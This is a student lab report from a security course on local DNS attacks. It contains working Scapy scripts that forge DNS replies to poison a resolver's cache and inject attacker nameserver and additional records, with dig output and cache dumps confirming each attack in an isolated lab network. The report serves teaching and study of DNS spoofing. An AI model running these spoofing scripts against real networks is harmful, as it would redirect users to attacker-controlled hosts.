CSE-343 | Local DNS Attack Lab

Marc Soda Jr

February 8, 2022

Contents

2.4 Testing the DNS Setup

Get IP of attacker32.com

```
USER@seed > dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50080
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9217dfaf77aa141e0100000062013249440954925 75a9b6a (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Feb 07 14:52:57 UTC 2022
;; MSG SIZE  rcvd: 90
```

- The IP is 10.9.0.153

Get IP of example.com

```
; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12440
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 797867c7ca4b664d01000000620133077a898dc797f55443 (good)
;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            86400   IN      A       93.184.216.34

;; Query time: 1488 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Feb 07 14:56:07 UTC 2022
;; MSG SIZE  rcvd: 84
```

- The IP is 93.184.216.34

Directly query the attacker nameserver for example.com

```
USER@seed > dig @ns.attacker32.com example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29109
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 83a2426b543fdd440100000062014e99ea9e6ac9ce2d0280 (good)
;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       1.2.3.4

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Mon Feb 07 16:53:45 UTC 2022
;; MSG SIZE  rcvd: 84

USER@seed >
```

- The IP is 1.2.3.4

3.1 Directly Spoofing Response to the User

Python Code

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("FROM: {DNS: %IP.src% -> TO: %IP.dst%: %DNS.id%}"))
        ip = IP(dst='10.9.0.5', src='10.9.0.53') # Create an IP object
        udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', rdata='1.2.3.4', ttl=259200) # Create an
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qdcount=1, qr=1, ancount=1, an=Anssec)
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = "udp and dst port 53" # Set the filter
pkt=sniff(iface='br-52419a9682bd', filter=myFilter, prn=spoof_dns)
```

Dig Result

```
USER@seed > dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5347
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       1.2.3.4

;; Query time: 52 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Feb 07 17:19:01 UTC 2022
;; MSG SIZE  rcvd: 56
```

Cache dump

```
                                        YhbI6rVvtdXR03XeOdO
                                        otI5IfF5hesYkHgcRA==

; authauthority
example.com.            691197  NS      a.iana-servers.net.
                        691197  NS      b.iana-servers.net.

; authauthority
                        691197  RRSIG   NS 8 2 86400 (
                                        20220223120658 2022
```

- This code always sends the packet as being from the DNS server and to the user. The DNS server is not actually communicated with (by the attacker) at all.

- Because the IP was received to be 1.2.3.4, the attack was successful.
- This attack does not poison the local DNS cache because no communication is made with it by the attacker.

3.2 DNS Cache Poisoning Attack - Spoofing Answers

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
        udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', rdata='1.2.3.4', ttl=259200) # Create an
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qdcount=1, qr=1, ancount=1, an=Anssec)
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = "udp and dst port 53" # Set the filter
pkt=sniff(iface='br-52419a9682bd', filter=myFilter, prn=spoof_dns)
```

```
USER@seed > dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5347
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       1.2.3.4

;; Query time: 52 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Feb 07 17:19:01 UTC 2022
;; MSG SIZE  rcvd: 56
```

```
; authanswer
example.com.            863992  A       1.2.3.4
; glue
a.gtld-servers.net.     777592  A       192.5.6.30
; glue
                        777592  AAAA    2001:503:a83e::2:30
; glue
b.gtld-servers.net.     777592  A       192.33.14.30
; glue
                        777592  AAAA    2001:503:231d::2:30
; glue
c.gtld-servers.net.     777592  A       192.26.92.30
VM 1:victims* 2:attackers#- 3:wireshark# 4:shell
```

- I changed the code by allowing the program to communicate directly with the DNS server rather than just the user.
- Because the local DNS server is now attacked directly, the cache is poisoned (see third screenshot). After stopping the attack, subsequent digs will continue to point to 1.2.3.4.
- The attack was successful.

3.3 Spoofing NS Records

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
        udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', rdata='1.2.3.4', ttl=259200) # Create an aswer record
        NSsec = DNSRR(rrname="example.name", type='NS', rdata='ns.attacker32.com', ttl=259200)
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qdcount=1, qr=1, ancount=1, nscount=1, an=Anssec, ns=NSsec)
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = "udp and dst port 53" # Set the filter
pkt=sniff(iface='br-52419a9682bd', filter=myFilter, prn=spoof_dns)
```

```
USER@seed > dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57429
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
example.name.           259200  IN      NS      ns.attacker32.com.

;; Query time: 48 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Feb 08 03:59:51 UTC 2022
;; MSG SIZE  rcvd: 99
```

```
; authauthority
example.com.            863988  NS      ns.attacker32.com.
; authanswer
                        863988  A       1.2.3.4
; glue
a.gtld-servers.net.     777588  A       192.5.6.30
; glue
                        777588  AAAA    2001:503:a83e::2:30
; glue
b.gtld-servers.net.     777588  A       192.33.14.30
; glue
                        777588  AAAA    2001:503:231d::2:30
; glue
```

- I changed the code by adding an NS section (authority section).
- The nameserver is successfully added to the authority section and cached by the DNS server

3.4 Spoofing NS Records for Another Domain

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% -> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
        udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', rdata='1.2.3.4', ttl=259200) # Create an aswer record
        NSsec1 = DNSRR(rrname="example.com", type='NS', rdata='ns.attacker32.com', ttl=259200)
        NSsec2 = DNSRR(rrname="google.com", type='NS', rdata='ns.attacker32.com', ttl=259200)
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, an=Anssec, ns=NSsec1/NSsec2)
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = "udp and dst port 53" # Set the filter
pkt=sniff(iface='br-52419a9682bd', filter=myFilter, prn=spoof_dns)
```

```
USER@seed > dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12997
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
google.com.             259200  IN      NS      ns.attacker32.com.

;; Query time: 48 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Feb 08 18:49:05 UTC 2022
;; MSG SIZE  rcvd: 139
```

```
                                        YhbI6rVvtdXR03XeOdOo8tE
                                        otI5IfF5hesYkHgcRA== )
; authauthority
example.com.            863990  NS      ns.attacker32.com.
; authanswer
                        863990  A       1.2.3.4
; glue
a.gtld-servers.net.     777590  A       192.5.6.30
```

- I changed the code by adding another NS section.
- It was successfully received that the nameserver for google.com is ns.attacker32.com.
- However, only the example.com nameserver was cached.

3.5 Spoofing Records in the Additional Section

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% -> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
        udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', rdata='1.2.3.4', ttl=259200) # Create
        NSsec1 = DNSRR(rrname="example.com", type='NS', rdata='ns.attacker32.com', ttl=259200)
        NSsec2 = DNSRR(rrname="example.com", type='NS', rdata='ns.example.com', ttl=259200)
        Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')
        Addsec2 = DNSRR(rrname='ns.example.net', type='A', ttl=259200, rdata='5.6.7.8')
        Addsec3 = DNSRR(rrname='facebook.com', type='A', ttl=259200, rdata='3.4.5.6')
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1,
                  nscount=2, arcount=3, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = "udp and dst port 53" # Set the filter
pkt=sniff(iface='br-52419a9682bd', filter=myFilter, prn=spoof_dns)
```

```
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58225
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       1.2.3.4
ns.example.net.         259200  IN      A       5.6.7.8
facebook.com.           259200  IN      A       3.4.5.6

;; Query time: 64 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Feb 08 19:24:29 UTC 2022
;; MSG SIZE  rcvd: 228
```

```
; additional
ns.attacker32.com.      863814  A       1.2.3.4
; authauthority
example.com.            863814  NS      ns.example.com.
                        863814  NS      ns.attacker32.com.
; authanswer
                        863814  A       1.2.3.4
```

- I changed the code by adding three additional sections and manipulating the NS sections. These changes reflect the image provided in the lab.
- Because the authority and additional sections reflect the image provided in the lab, the attack was successful.
- Only the information pertaining to example.com was cached. facebook.com and ns.example.net are left out of the cache.